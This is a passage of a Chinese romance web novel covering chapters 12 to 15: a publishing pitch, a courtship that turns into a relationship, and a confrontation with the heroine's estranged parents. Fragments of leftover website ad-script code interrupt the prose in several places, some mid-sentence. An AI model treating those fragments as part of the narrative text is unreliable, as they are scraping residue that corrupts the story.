裴凝对这个文化公司的最初设想,就是要建成全开放的女性文学平台。抛开她个人的理想与追求不谈,单从以影视化版权为导向的文学创作角度出发,打造女性文学,是破局入市的最快捷径。 与男频小说相比,女频小说改编难度小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,内容更加多元,可以满足不同受众的喜好标准,这也是目前市场上80%改编影视都来自女频小说的原因。 但在表面繁荣下,有一个不得不正视的事实:改编市场乃至创作市场,正在趋于同质化。存在即合理,对新公司而言,这是挑战也是机遇。全社会的女性意识正在觉醒,一大部分受众渴望突破常规、深耕女性话题的作品问世。 在这样的背景下,裴凝希望,至少在公司内部,能打破劣币驱逐良币的不良市场循环,鼓励创作者进行有意义的创作。 换句话说,裴凝要以大公司的宣传包装为底气,让想写不敢写的作者在这里放开了写。她们不做追逐市场的人,而是要做引领市场的人。 从营销角度来说,单纯的女性文学平台常见,专门反市场、反常规的女性文学平台不常见。这对公司来说也是很好的宣传方向,而裴凝可以保证不让口号流于表面,真正成为公司的发展原则。 这也对签约作者提出了更高的要求,要双向选择,宁缺毋滥。公司的优势在于,不需要像文学网站一样签约大量的作者,只需要精选一支认同理念、有思想、敢创作的队伍即可,难度小、可控性强、可操作性高。 所以,裴凝想创建这样的公司,帮自己也帮更多创作者打破桎梏,同时不断为逐日提供不雷同、有卖点的版权作品,达成双赢。 “以上是关于项目方案的全部设想,感谢各位的聆听。” 朱情汇报结束,走下台,和裴凝站在一起。 顾青山双手交叠在桌上,看着PPT上的感谢语,沉默了一会儿。 就在裴凝已经开始想是不是完了的时候,顾青山声线平稳地开口:“你们说要打破市场常规,那你们有没有想过,市场不买账怎么办?公司为什么要承担这个风险?” 裴凝简单思索后,清了清嗓:“打破常规不是与市场逆向而行,我们是要改变内核,而不是撕碎一切。观众喜闻乐见的爱情、搞笑、热血、悬疑等元素是小说的外衣,通过这些故事,传达什么样的观念,才是我们追求的。我们不是要直接去和观众讲大道理,而是在欢笑过后,留下思考。这也是艺术的魅力。” “凡事追求极致,则会物极必反。过于追求领跑市场,可能就会出现为了创新而创新的无意义创作。也许你们无需固执地和市场较劲,只说通过公司写自己想写的东西就好了,是否能流入市场,是需要资本和运作的。你们想创立的,不就是资本和运作的底盘吗?” 裴凝顿住。 顾青山一语道破她的执拗,裴凝总是盯着“自由”二字不放,所以把事情想得复杂了。 说白了,她们不就是想借逐日的力,将突破常规的好作品推向大众吗? “您说得对,是我浅显了。” 做生意,裴凝果然还是没经验。 顾青山没有再评价什么。再一次沉默之后,她身子向前倾了些,眼神直视着裴凝:“对于新公司的名字,你有什么想法?” 裴凝想起起名那几天,她苦恼地问井稚意见,井稚对她说的话。 “你知道书店为什么叫‘松林间’吗?上大学的时候我很喜欢旅游,有一次,我一个人在一片陌生的松林里迷路了,站在一望无际的松树之中,我感受到的不是恐惧,而是前所未有的宁静。我听风呼啸,看云变幻,世界似乎都纳入我眼中。所以,我想创造这样一片天地,让所有想要迷失现实的人,都能找到安宁。” “裴凝,这是你想打造的自由的国度,你想什么,它就该叫什么。” 思绪回神,裴凝徐徐答道: “破晓。划破长夜,不畏新生。” 12. Chapter 12 裴凝和朱情是最后走出会议厅的。 汇报结束之后,一直支撑着裴凝的那股劲彻底卸了,她站都站不稳,只能走两步就找个椅子坐下歇一会儿。 出公司的征途还未过半,裴凝被不知道从哪冒出来的方昀游拦下了。 “裴老师,给你点了杯热咖啡。”方昀游把手里冒着滚烫热气的纸杯递给裴凝,“要不先到我办公室休息一会儿?” 裴凝有些诧异,不过还是很快回绝:“谢谢,办公室就不去了,我赶紧回酒店睡个回笼觉比较打紧。” 方昀游没有多留,只又客套了一句:“项目的事放宽心,看得出你们做功课了,切入点很合顾总胃口,应该没问题的。” 方昀游这话像是随口说来宽慰裴凝的,但听到裴凝耳朵里,很不是滋味。 她半开玩笑道:“那看来是我们和顾总心有灵犀了。方总,下次想猜老板心思,可以来问问我哦。” 语毕,她转身离开。 上车之前,裴凝觉得烫人手心的咖啡有点碍事。侧身,正好看到风口处有一个收拾垃圾的保洁阿姨,破旧的毛线手套露出了好几个手指,冻得阿姨不停搓手。 裴凝走过去,把咖啡递给她:“阿姨,这杯咖啡还没拆封,我不方便带走,送给您暖暖身子吧。您要是不想喝,用它捂捂手扔了也好,也算是物超所值了。” - 坐在车上,裴凝终于有时间掏出手机来。 汇报的时候一直开着静音,裴凝以为微信里肯定又堆满了井稚的消息,但打开才发现,除了早上嘱咐她多穿衣服,井稚大半天都没动静了。 裴凝心里莫名有点空落落。 她下意识地往上划,密密麻麻的白色对话框几乎填满了整个屏幕。 裴凝来了首城之后,忙加生病,回消息总是又少又慢,但井稚毫不在意,每天坚持给她分享大大小小的事。 翻回到分开后的第一天,裴凝细细看了起来。 9月23日14时37分: 【落地了吗?】 【这几天的天气预报我都发给你了,看温度换衣服,别不当回事!!!】 【吃饭!多多地吃饭!!!】 这会儿裴凝正忙着往酒店去,路上争分夺秒地看资料,只回了他一句。 【落地了。】 9月23日19时20分: 【我下班了哦~】 【啊啊啊啊啊,井小二又双叒叕乱尿了!气死我了!!!】 附一张他把井小二押在犯罪现场认罪伏法的照片。 这会儿裴凝临时发现一个PPT上的bug,在手忙脚乱地改,没有回复。 9月23日22时58分: 【花谢了,我明天去买新的。】 【今天布置了一天会场,好累。】 【晚安。】 这会儿裴凝在紧急补救自己被首城干燥天气攻击的皮肤,依旧只回了一条。 【晚安。】 9月24日7时45分: 【裴凝,起床了!!!】 【预汇报加油!】 【紧张的时候记得停顿,别吞字!】 这会儿裴凝在收拾东西,是进场之前才看到的消息,没有来得及回。 9月24日12时15分: 【我去花店买了这个紫色玫瑰,叫什么……海洋之歌?】 【老天奶呀,你喜欢的玫瑰怎么有这么多颜色!】 【我现在是养花高手了!等你回来,这花肯定开得很好看!】 附一张井稚举着花在路边的死亡角度直男自拍。 这会儿裴凝在干嘛来着?她忘了,总之在一个小时后井稚又发来“吃饭了吗”的消息时,她才回了一张随手拍的午餐照片。 9月24日18时36分: 【又带井小二去打疫苗咯!】 【小二今天很乖嘛,我说带它去医院,它都没从航空箱越狱。】 附了一张在航空箱里傻乐的井小二。 不过半小时后: 【啊啊啊啊啊天杀的啊!打针的时候井小二咬我!!!】 【医生扎它屁股,它咬我干嘛啊!!!!!】 【疼死了啊!!!!!】 这会儿裴凝正在整理项目组提出的修改意见,听到手机连震好几下,才拿起来看了一下。 【咬破了吗?用不用打针?】 井稚很快回复。 【倒是没咬破,医生说应该不用打针…】 【但医生还说让我坚强一点,做个大男子汉,她什么意思啊?】 【是不是嫌我矫情?!】 后面的裴凝没有回复了,应该是忙起来,忘了。 9月24日23时12分: 【别太累了,吃饱喝足,好好休息!】 【你是最棒的!】 【晚安!!】 这会儿裴凝已经初有感冒征兆,迷迷糊糊入睡中,听到手机震动,梦游似地打开,可能是想回个晚安,但意识没撑住,刚碰到手机就睡着了。 等裴凝第二天起来才发现,对话停留在她的一个奇怪句号上。 【。】 …… 一直看下来,裴凝的心里不知为何,忽然有些酸涩。 尤其是对话停在早上七点,裴凝退出又点开好几次,也没有等到新消息。 裴凝的手指不自觉收紧,指节卡在手机上。她脑海里浮现出井稚那张时常带着稚气的脸,像萨摩耶一样冲她傻乐。 “好想亲。” 裴凝小声念叨。 朱情没有听清,侧过脸去:“什么?” “好想亲他。”裴凝轻叹,“好想见他。” 不知道是不是在脑子里默念了太多次,裴凝一下车,就晃神看到一个神似井稚的身影,站在酒店门口。 “小情人儿,我是不是烧糊涂了,我怎么好像看见井稚了。” 朱情顺着她视线方向看去,眯起眼睛:“你没看错。那就是井老板。” 裴凝确实烧得脑子不太灵光,好半天才理解这句话的意思。 而那个神似井稚的身影,已经朝她跑来了。 他逆着光,像特意来实现她心愿的,好心的神明。 裴凝觉得就算要倒,她也得坚持完成一件事。 所以等井稚还差两步跑到眼前时,裴凝踉跄着往前扑去,正正好好扑进那个温暖的怀抱。 她踮起脚,努力仰头,轻轻碰了一下井稚的唇。 “你真神了。”裴凝失去意识前说出最后一句话,“你怎么知道我在想你。” - 裴凝感觉自己睡了一个世纪。 醒来的时候,身上倒是没有昨天那么难受了,缓了一会儿找回胳膊腿的知觉,她尝试翻了个身。 然后感觉有个东西硌得自己怪难受的。 裴凝懵懵懂懂地抬起头,正对上一双滴溜圆的小狗眼。 “井稚?”她看了一会儿才反应过来,“你怎么在这?” 原本笑得合不拢嘴的井稚,听见这话,立刻把裴凝抱在怀里的胳膊抽出来。 “什么叫我怎么在这?我不在这在哪?” “在……青城啊。” 裴凝依旧没有搞清楚状况。 “你忘了?!”井稚猛地站起来,想起裴凝是病号不能受惊吓,又弱弱地坐下,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你全忘了?你晕过去之前说了什么也忘了?!” 她说什么了? 裴凝眼神里写满三个字:真忘了。 她晕倒之前已经烧得天旋地转,连怎么回来的都记不太清。 “你!” 井稚瞪着眼睛。 “你孺子不可教也!你朽木不可雕也!你玩弄我感情!你,你没救了!” 裴凝很想问为什么自己一醒来就被井稚骂。 她懒得跟他掰扯,想找朱情来问问清楚,左右看看朱情不在,又看回井稚:“小情人儿呢?” “学姐买饭去了。” 井稚抱着胳膊没好气。 “她都忙了好几天了,怎么还让她去买饭呀?” “还不是因为某些人抱着我的胳膊不撒手,我想走都走不了。” 裴凝眨眨眼。 谁? 谁抱着井稚胳膊不撒手? 她吗? “不可能吧,你是不是做梦了?” “你才做梦!你全家都做梦!” 井稚愤然起身,轻摔门而去。 半分钟后,又开门进来。 “喝药!” 井稚端过一杯温度适中的冲剂,别扭地扶着裴凝坐起来。 他赌着气,但又怕裴凝身上酸痛,不敢用大劲,所以就呈现一种脸上五官很用力、实际动作很温柔的奇怪姿势。 裴凝就着这个奇怪的人形支架把药喝了。 “不过,现在几点了?” 裴凝看外面天都黑了,也不知道自己睡了多长时间。 “快八点了。” 井稚放下杯子,从床头柜上拿起测温枪,伸到裴凝脑门上。 “你们都还没有吃饭吗?” “没有。” 裴凝心里有些愧疚,乖乖地把脑袋缩回去。 “所以你为什么在这呀?” “还不是担心你……” 井稚的话音没落,裴凝手机铃声响起,“方昀游”三个字大剌剌地出现在屏幕上。 没说完话的井稚本来就不爽,看见这三个字,更不爽了。 他满眼审视地看着裴凝接起电话,试图用眼神瞅出他们的通话内容。 “喂?” “我好点了,谢谢。” “明天吗?可能还是不太方便。” “嗯,帮我谢谢顾总。下次见。” 裴凝刚挂电话,井稚就倾身上来逼问:“下班时间打电话干嘛?那小子是不是约你?” 裴凝好笑地拍他,伸手把他推开。 “什么啊,他说明天没什么事了,顾总邀请我们参观公司,问我们去不去。” “那你去吗?” “不去,我说我病还没好。” 井稚撇嘴。 “这公司不行,怎么不知道照顾病号的,你没上过班,别进去了被压榨还傻乐。” “说得好像你上过班似的。” 裴凝吐槽。 “我是没上过班,但我当过老板呀!”井稚据理力争,“就是不能压榨员工!不能压榨……你!” 裴凝被他逗笑,从被窝里抽出手来,摸了摸他的头。 “放心吧。顾总看起来人很好,不会压榨员工的,何况我还没选上呢。” “是吗?”井稚摸摸鼻子,想了想道,“那也是,如果有人欺负你——特别是那个方昀游——你一定要偷偷告诉我。” “偷偷告诉你,然后你怎么办?” “我……” 井稚还真思考起来。 半晌,他认真道: “我给你撑腰,咱骂回去。” “然后,骂完就跑!” 13. Chapter 13 裴凝自觉汇报搞砸了,没什么通过的可能性,所以就给朱情放了个长假,让她回家好好休息,自己也打算缓过这阵之后,重新开始她那半截悬疑小说。 可能是因为前段时间太过操劳,裴凝回家后,感冒依旧反反复复的,持续了一周多才渐好。 这段时间,井稚以照顾病号为由,每天除了去书店,剩下时间都在裴凝家待着,给她端茶送水,洗碗做饭。 可问题是,一段时间后,裴凝早已经生龙活虎,但井稚的身影依旧每天在眼前晃悠。 裴凝实在看不下去,一把拽住开始擦今天第三次地的人。 “别擦了,这地井小二走路都打滑了。” 一旁的井小二应景地跑了两步,然后一个滑铲撞到墙上。 井稚杵着拖布,想了想:“那我擦桌子?” “桌子擦了四遍了。” “那我喂小二?” “再喂就撑死了。” “那我……” “你为什么非要干点什么呢?” 裴凝打断了井稚的话。 “我得照顾病号呀!” 井稚一手叉腰,理直气壮道。 “谁是病号?病号在哪?” 裴凝转着脑袋在周围看了好几圈,然后把视线锁定回井稚脸上。 “你不就是病号嘛。” 井稚很快心虚。 “我现在看着比你都精神。”裴凝把拖布从井稚手里拿走,推着他往门口去,“走,出门。” 井稚手撑着墙,不肯走,两只脚倔强地在原地挣扎,脑袋朝下扭过来,委屈巴巴地看裴凝。 “你要撵我走吗?” 裴凝一抬胳膊,拍上井稚脑袋,然后把一边放着的环保袋塞到井稚手里。 “撵什么,去超市,姐姐今天请你吃火锅。” 井稚听了,立刻不演了,寸步不离地跟在裴凝身后。 今天是周五,正赶上下班时间,超市人很多,有的货架前甚至已经排起长队。 井稚推着推车,把裴凝又往自己身前拽了拽,还觉得不够,干脆抓起裴凝的手放在车把上,然后自己握住她的手腕。 “干嘛?” “人这么多,挤丢了怎么办。” “井稚,我是二十九岁,不是九岁。”裴凝抽回自己的手,“你有时候真的很神经质。” 被教训的井稚瞬间垂下脑袋。 裴凝最受不了井稚这个表情了。 小狗眼耷拉下一半眼皮,隔一会儿眨一下,鼻翼因为稍重的呼吸明显地起伏着,嘴角不开心地撇了又撇。 两个食指勾在一起,勒得指肚泛白,脚下也不安分地踢踢走走,一个185的大高个子,恨不得用全身细胞来表达自己的不满。 裴凝败下阵来。 她靠近井稚些,然后抬手,挽住了他的小臂。 “这样就不会丢了。” 温柔的触感攀上井稚的胳膊,他呼吸停滞了一瞬。 周遭恼人的吵闹声,在这一瞬滞空,狭窄的过道上,仿佛只剩下他和裴凝。 下一秒,听觉回归,眼前的景象又动起来。 裴凝挨在自己身上的触感也变得真实。 井稚傻笑,迈着小步往前走。 “傻瓜。” 裴凝吐槽,嘴角却被他带得,始终压不下来。 肉和菜买得差不多,两人准备去结账。 路过酒水区,井稚脑子里冒出主意,他犹豫了一下,停下步子问裴凝:“你会喝酒吗?” 当然会。 裴凝心里想着,神色真诚:“我不会。” “那上次校庆酒会……” “那是没有度数的果酒,再说我都没喝几杯。” 听了她的话,井稚欲言又止,半天开口道:“我也……不会。” 不会喝白酒,应该也算不会喝酒吧,不能说他骗人。 “嗯。” 裴凝没说什么,但也没走,抬头看着井稚,想看他还要说什么。 “要不……一起试试?” “也不是不行。” 话音落下的时候,人已经站在货架前了,裴凝娴熟地拿起几瓶度数不高的啤酒,想了想,又放下,从最下面一层拎起十二罐的一整提。 “这个行吗?” - 客厅茶几上,火锅蒸腾起满室的雾气,填满了裴凝和井稚之间的空隙。 他们靠着沙发,坐在毛茸茸的地毯上。 两个人的手边,都放着三两酒罐,东倒西歪。 裴凝从上学时就是出了名的千杯不倒,还曾荣获过一阵“酒蒙子”的称号。 但裴凝体质特殊,喝酒很容易上脸,一瓶就能红到脖子,非常容易让人相信她醉了。 托这个福,她在不少讨厌的酒局上逃过酒。 此刻,裴凝神志清醒,但眼神迷离,伪装得恰到好处。 比起她,井稚的演技就差多了。 明明没醉,却非要倚靠在她身上,脑袋时不时点一点,装作已经意识模糊的样子,但眼睛始终清亮亮的,挨着她的身体也很有分寸,除了肩膀,哪都没碰着。 裴凝瞧在眼里,觉得可爱,没有戳破他。 “裴凝,你知道,我第一次见你是什么时候吗?” 井稚故意拖长声音,慢慢问道。 “不是下雨那次吗?” “不是。” 井稚摇摇头,拿过裴凝的手,抱在怀里,开始回忆。 “是你搬家的一天。你坐在货车的副驾驶上,从窗户探出半个身子来,给车下的搬家师傅递水,那是我第一次见你。” 那天太阳很大,裴凝的棕红色长发垂在半空中,透过阳光来,亮晶晶的。 井稚记了很久很久。 “所以你当时就看上我的美貌咯?” 裴凝打趣道。 “不,不是。”井稚认真反驳,“其实我那天根本没有看清你长什么样子。” “那你怎么知道是我?” “我就是知道。很神奇是不是,我只见过你的一个背影,但你那天在车里喊我,我一下子就认出你来了。” 裴凝想听他还要继续说些什么,于是假装醉醺醺道:“嗯,很神奇。” 井稚手撑了下地,坐了起来,弯下腰,和裴凝面对面平视着。 “你知道,更神奇的是什么吗?” “什么?” 井稚停住了,没有立刻回答。 为了这一刻,他已经铺垫了一个晚上。 他紧张得手心全是汗,为了不被裴凝发现,攥成拳头,藏在背后。 再一次喉咙轻轻滚动后,井稚一字一顿地开口:“我只见过你的一个背影,就一直喜欢你,直到现在。” 井稚的话出乎意料,裴凝没有想到他会这样直接表白。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >她差点忘记伪装,眼神清明了一瞬。 “嘀”的一声,长时间工作的电锅触发了保护机制,断了电。 白雾散去,井稚微红的眼眶,渐渐清晰。 长久的沉默后,裴凝轻笑,倾身,与他凑近了些。 “你喜欢我呀?” 带着酒气的呼吸,碰到井稚脸上。 “喜欢。很喜欢。” 井稚怕清醒的时候,裴凝会拒绝他。 所以他假借醉意,将他无法再隐瞒的情意,倾泻而出。 这样,即使裴凝不喜欢他,他也能在明天醒来后,装作一切都忘了。 这样,即使裴凝不喜欢他,也可能会因为喝醉而不记得,就不会抛弃他……了吧。 “裴凝,我可以喜欢你吗?” 裴凝觉得自己好像真的有点醉了,不然为什么,头有点沉沉的。 她轻轻将额头与井稚碰在一起。 “我说不可以,你就会不喜欢了吗?” 井稚没有想到裴凝会这么问,一时说不上话来。 过了一会儿,才摇摇头。 “不会,我大概,会偷偷喜欢。” “那你何必问我这个问题。” 井稚抿嘴,又小声道:“那我换个问题。” “什么?” “裴凝,”井稚听到他的心脏快跳出来了,“我们可以谈恋爱吗?” “恋爱……”裴凝喃喃,“现在这样不好吗?” “不好。我不想只和你接吻,我还想和你牵手、拥抱,看不止某一天的日出,淋不止某一场的雨。我想每天都能和你窝在一起,不用找蹩脚的借口。我想让你填满我的日常,我想把你变成,我的日常,我的生命。” 井稚的声线微微颤抖,一股脑地把这些话说了出来。 他本以为会很难,但没想到,人在表达爱意的时候,是这样轻而易举。 裴凝又不说话了。 按她惯常的性格,她此刻本应在想,又该从这段关系里抽身了。 可为什么…… 她现在满脑子,都是三个字。 好想亲。 连表白都絮絮叨叨的井稚太可爱了,她好想亲。 如果谈恋爱,这样可爱的井稚,她以后是不是就能想亲就亲? 那好像也不错。 所以她鬼使神差地点点头:“好。” 井稚愣了,直到刚刚睡醒的井小二突然蹿到他身上“嗷”了一声,才惊回神来。 然后他瞬间蹦了起来,两人的脑袋在这突然的动作中狠狠撞了一下,井小二也被掀翻在地。 “哎呀!”井稚来不及去管疼痛,四处寻着什么,“我手机呢!” “你找手机干什么?” 裴凝揉着额头,好笑地看他。 “我得录下来!” “录什么?”裴凝逗他,“你不是醉了吗,这么精神?” 井稚一下语塞,脸倏的红了。 “就,就是因为醉了,我才得录下来,以免你明天醒来说是醉话,不认账!” 平常不离手的手机此刻偏偏连个影都没有,急得井稚团团转。 裴凝忍不住了。 她站起身,轻旋半步,猝不及防地将井稚一把拽倒,和她一起陷在柔软的沙发里。 她压身上去,吻上井稚唇角。 “别找了。” “我认帐。” 14. Chapter 14 井稚显然已经完全忘了要装醉这回事。 裴凝的体温本就低些,贴在他烫人的皮肤上,触感更加明显。 他不敢动,也不敢呼吸,大脑持续宕机,甚至分不清这是现实,还是梦境。 裴凝慢慢将手滑到他身下,轻轻展开他一直攥拳的手,与他十指相扣,填满了他指间缝隙。 理智开始流失,井稚拼命想留住,但还是像沙子一样,在裴凝的呼吸中四散而去。 他便不再挣扎。 井稚抬起胳膊,从身后扣住裴凝肩膀,感受到她的骨骼在他手心变得柔软,然后,热烈地吻了回去。 管他现实还是梦境。 他只想疯狂缠绵,在此刻,在今夜。 “汪!” “汪汪!” “汪汪汪!” 突兀的叫声瞬间划破缱绻的空气,井小二一跃而上,跳到井稚和裴凝中间,摇着尾巴拼命转圈。 它大概……以为他们在玩什么好玩的游戏吧。 周身温度骤降,裴凝被迫抽离出来,找回了神智。 这从不看眼色的……小狗。 裴凝狠狠瞪它一眼。 又坏她好事! 井稚显然也从梦里醒来了,红晕从脖子开始飞速攀上,染上鼻尖和脸颊,直到整个耳垂都红得快滴出血来。 他火速坐直,目视前方,眼神死死盯着一片漆黑的电视,坚决不看裴凝。 裴凝见他坐远,挪了挪身子,又贴住他。 顺便把“烦人”的小狗撵到地上。 “干嘛呢?” 裴凝真诚发问。 “你别看我!那个,那个,我先问问,你刚才说的话是不是都算数!” “算数呀。” 井稚神色依旧带着些不可置信,下意识地低头看裴凝,然后在对上视线的一瞬间又抬头坐得笔直。 “那我们真的在一起了?” “真的。” 过了不知道多久,井稚才终于笑起来。 他转过身子,张开双手,紧紧地抱住裴凝,像要把她揉进胸膛。 裴凝的听觉世界被井稚用身体裹挟,只有突然在耳边出现的心跳声不断放大,震耳欲聋。 裴凝偷偷地,咽了一点口水。 她怎么觉得,自己的心跳也有点快。 不规律响起的鼓点,她有些分不清到底是谁的了。 “那个,”裴凝举起手,闷闷的声音从井稚怀里传来,“有点喘不过气了。” 井稚听了,才反应过来自己抱得太久,赶忙松开。 裴凝呼了两口气。 “那现在……” “那我们明天就是第一次约会!好不好!” “啊?”裴凝被打断了思路,“……好。” “那你应该好好休息了,要准备第一次约会呢!” 井稚立刻站起身,把茶几上的垃圾三下五除二收拾干净,火锅和餐具一并拿到厨房洗净,速度之快,根本不容裴凝说话。 这是真谈了个……田螺小子? 方才的杯盘狼藉很快荡然无存,如果不是空气中还残留着火锅底料的味道,裴凝都快忘了自己刚才在家里吃过火锅了。 “好了,收拾完了。”井稚马不停蹄地拿起衣服,往门口走,“我明天上午来找你!晚安!” 裴凝还没有反应过来,门已经“咣”地一声合上了。 这就……走了? 这就晚安了??? 裴凝还处在井稚离开之迅速的震惊中,下一秒就听见门口响起钥匙开门声,井稚又出现在裴凝眼前。 他打开门后,两步跨到还站在原地的裴凝身前,抬起她下巴,轻轻亲了一下。 “晚安吻。” 说完,门再一次在裴凝眼前关上。 裴凝无奈,良久,扶额失笑。 - 第二天上午十点,裴凝顺应生物钟睁眼,正好听到敲门声。 她揉了揉头发,睡眼朦胧地去开门。 门外站着精神抖擞、意气风发的井稚。 “你不是有钥匙吗?” 裴凝转身,拖着步子往沙发走,一卸劲,整个人陷在沙发里。 “怕你还在睡觉嘛,怎么能直接进来。” 裴凝还在重启中,听了井稚的话,只机械地点点头。 “我做了银耳炖雪梨,给你醒酒。还买了几个包子,洗漱完趁热吃吧。” 裴凝依旧匀速点头。 反应了一会儿,她才抬头些许惊讶道:“你早上炖的?那你几点就起了?” 早起做饭,这对宅女裴凝来说像天书一样离谱。 “没多早,反正我也睡不着……” 后半句话声音越来越小。 井稚由于过于兴奋,彻底失眠,一直到凌晨四点才稍微睡着些,结果六点多就醒了,然后就再也睡不着了。 “不过说起醒酒……你昨天是不是很醉?” “还行吧……怎么了?” “那个,”井稚试探着问,“你不会把昨天的事都忘了吧?” 裴凝存心逗他,故意一脸无辜道:“忘什么?昨天发生什么了吗?” 井稚一听,有些急:“你!” 裴凝满意地笑起来,走上前,一刮他鼻子:“放心吧,我没忘。” 说完便转身洗漱去了,留下井稚在原地又气又开心。 吃早餐的时候,裴凝真诚发问:“我们第一次约会,要干什么呢?” “我知道!” 井稚像小学生回答问题一样举起手,然后拿出手机,打开备忘录。 “看!” 裴凝凑过去,看到上面密密麻麻记录了很多件事。 爬山、看日落、逛街、看电影、打电玩、射箭、打拳……序号已经标到了三十多。 备忘录的名字,叫“要和裴凝一起做的事(裴凝不喜欢的不做!)”。 屏幕上方显示着备忘录的创建时间,显然,井稚很早之前就开始记录这些了。 这倒是让裴凝难得有了些新奇的恋爱体验。 “裴凝没有不喜欢的,”她把眼神挪到井稚脸上,眉眼弯弯,“我们一件一件都去做吧。” 井稚托着下巴,笑得憨态可掬。 “那你今天想做什么?” 裴凝翻着备忘录,思索道:“今天……我选,陪井稚到书店上班,怎么样?” - 井稚和裴凝牵着手走进书店。 他那点小心思全写在脸上,恨不得让全世界的人都知道他和裴凝谈恋爱了,故意牵着裴凝在书店转了一圈,这指点指点,那安排安排,直到所有人都看到了他们,然后假装震惊地问: “呀,老板,你和洛老师在一起啦?” 井稚装得很淡定的样子,实际上表情臭屁极了:“嗯,我们在一起了。” 裴凝也跟着他们笑。 转完了,裴凝适时提醒井稚该工作了,自己则找了个圆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 桌坐下。 “可是我还想跟你待着。” 井稚撇嘴,蹲在裴凝面前仰头看她。 “我就在这里陪你,你随时都能看到我。”裴凝像摸井小二一样,摸了摸井稚的顺毛,“你得工作,那么多人等着你呢。” 井稚磨磨蹭蹭地想耍赖,但最终还是在裴凝的催促,和充满责任感的良知中起身了。 “那你一个人会不会很无聊?” “不会,我可以看书,时间过得很快的。” “想看什么?我给你找。” “嗯……”裴凝想了想,“你这有,裴悯的书吗?” “裴悯老师?当然有,她是我最喜欢的作家。” 裴凝挑眉。 “你最喜欢的作家不是我吗?” 井稚愣了一下,撇过眼神去,挠挠头:“那个,作家的话,你是我第二喜欢的……” 还没等裴凝说什么,井稚又很快扭过头来补充:“但你是我最喜欢的人!” 裴凝被他猝不及防的情话逗笑了,起身抓住他的手:“好了,你告诉我在哪边,我自己去找就好,你快去工作吧。” 顺着井稚指的方向,裴凝很快找到了裴悯的书。看得出来裴悯是井稚最喜欢的作家了,她的书甚至是在一个专门的书架上摆放,连做工都比别的书架精细。 说起来,裴凝对井稚的了解好像真的不多,连他喜欢裴悯都不知道。他的书店裴凝来得也少,每次来基本都是往杂货间里扎,没有认真逛过,所以从来没有发现有这样一个裴悯专栏。 裴凝摇了摇头,没有再细究。 以后总有机会了解的吧,她想。 拿了本裴悯的新书,裴凝坐回刚才的座位。 这一年事情太多,这本书她只大概看了一遍,还没有认真读过。 这回有时间了,裴凝倒要看看,这个女人宁可三年不回家也放不下的大山,到底有什么好的。 - 很快便到了午时。 井稚虽然嘴上说着想和裴凝待在一起,但工作起来,他是绝对的认真严谨,不做好事是不会分心的。所以除了偶尔给裴凝端杯水,两个人谁都没有打扰对方。 不过,即使看不到,井稚也能感受到裴凝的气息。 所以他有一种前所未有的安心。 不仅仅是因为裴凝陪着他,更因为他知道,他不用再担心裴凝随时会离开。 这感觉真好。 一直无意识笑着对账的井稚被一阵议论声拉回神,他疑惑地看向前面的店员,出声问道:“怎么了?” “好像是那对夫妇又来了。” “什么夫妇?” 井稚皱眉。 “就这两个月,这对夫妇时不时会在店周围转悠,不看书也不买书,但他们什么也没做,对店里没什么影响,我们也就没和您说。” “那现在这是吵什么呢?” 井稚觉出蹊跷,莫名有种不安的感觉,一边说一边起身往人群去。 “不知道啊……哎,他们好像在跟洛老师说话?” 井稚听了,心里一紧,脚步越来越快,后来干脆小跑起来,靠身高优势挤进人群。 然后他看到了,死死攥着拳、靠撑着椅子才能站住的裴凝,浑身止不住地颤抖,眼眶撑得通红,眼里有震惊、有愤怒、有厌恶,似乎还有…… 害怕。 是井稚从未见过的害怕。 他听见裴凝说: “你恶不恶心?” 15. Chapter 15 裴凝看书看得入了迷,完全感受不到时间的流逝。 如果不是觉得有人在看她,她还能埋头很久。 裴凝抬眼,四下望了望。 并没有看到什么奇怪的人,裴凝低下头,但那种怪异的感觉并没有消失。 她看不下去,合上书,坐直身子。 寻井稚的时候,裴凝的视线扫过一对中年夫妇,她没有多做停留,很快掠了过去。 但转瞬,一种诡异的熟悉感,先于她的大脑,攻击了她的心脏。 她整个人僵直地怔在原地。 裴凝不想去确认自己是不是认错了,她下意识地,只想逃。 但已经逃不掉了。 那两人走到她面前,问:“你是……盼盼吗?” 盼盼。 多么熟悉又陌生的名字。 已经二十多年没有人这样叫她了。 裴凝使劲用指甲压着手心,以此来保持她的理智,让她能转过头来,看着眼前的人。 除了裴宁海和赵莹,还有谁能用这样讽刺的名字唤她呢? 裴凝自从七岁离家后,再也没有见过裴宁海和赵莹,她对他们的印象,其实算不上清晰。 现在站在她面前的这两个人,比起她记忆中的形象,头发白了许多,腰弯了,个子矮了,脸颊爬上了老年斑,说话的时候有些畏缩,和路上随处可见的中年夫妇,似乎并无两样。 但裴凝太清楚了,即使他们容貌全改,她依旧能一眼认出他们眼里藏不住的刻薄和恶毒。 那是可以置亲生女儿死活于不顾的狠劲。 “你们怎么找到我的?” 情绪汹涌而来,淹没了震惊,积聚成裴凝满胸腔的郁愤。 她死死盯着两人,想用眼神撕碎他们的伪装。 “我们看到新闻了……” 从赵莹断断续续的话里,裴凝听明白了。 他们早年在亲戚那听说了她成了作家,并且看过她的照片,前两个月裴凝开签售会的新闻被他们看到后,认出了她,所以他们决定来书店周围碰碰运气,看看能不能见到她。 是哪个不长眼的亲戚把她的消息透露给裴家的,裴凝没问,也不想问。 她只知道,无论过去多少年,裴宁海和赵莹都能像厉鬼一样,换着花样折磨她。 但她已经不是手无寸铁的七岁小女孩。 裴凝强迫自己不去在意脑子里走马灯一样的儿时记忆,克服着下意识的恶心和害怕。 “你们来干什么?” 裴宁海站在一旁不说话,始终是赵莹在絮叨:“盼盼,妈妈想你啊,妈妈想见你……” 粗糙的手攀上裴凝的胳膊,裴凝条件反射般跳了起来,一把甩开。 没站稳,她踉跄两步,靠着椅子撑住身子。 “你恶不恶心?” 裴凝厌恶地盯着她。 “你怎么能这么跟你妈说话?” 裴宁海终于出声了,语气倒不如他年轻时狠厉,说起责备的话来,竟然还带着商量。 裴凝冷笑。 “谁是我妈?我妈不在这。” 裴宁海似乎终于被刺激到了。 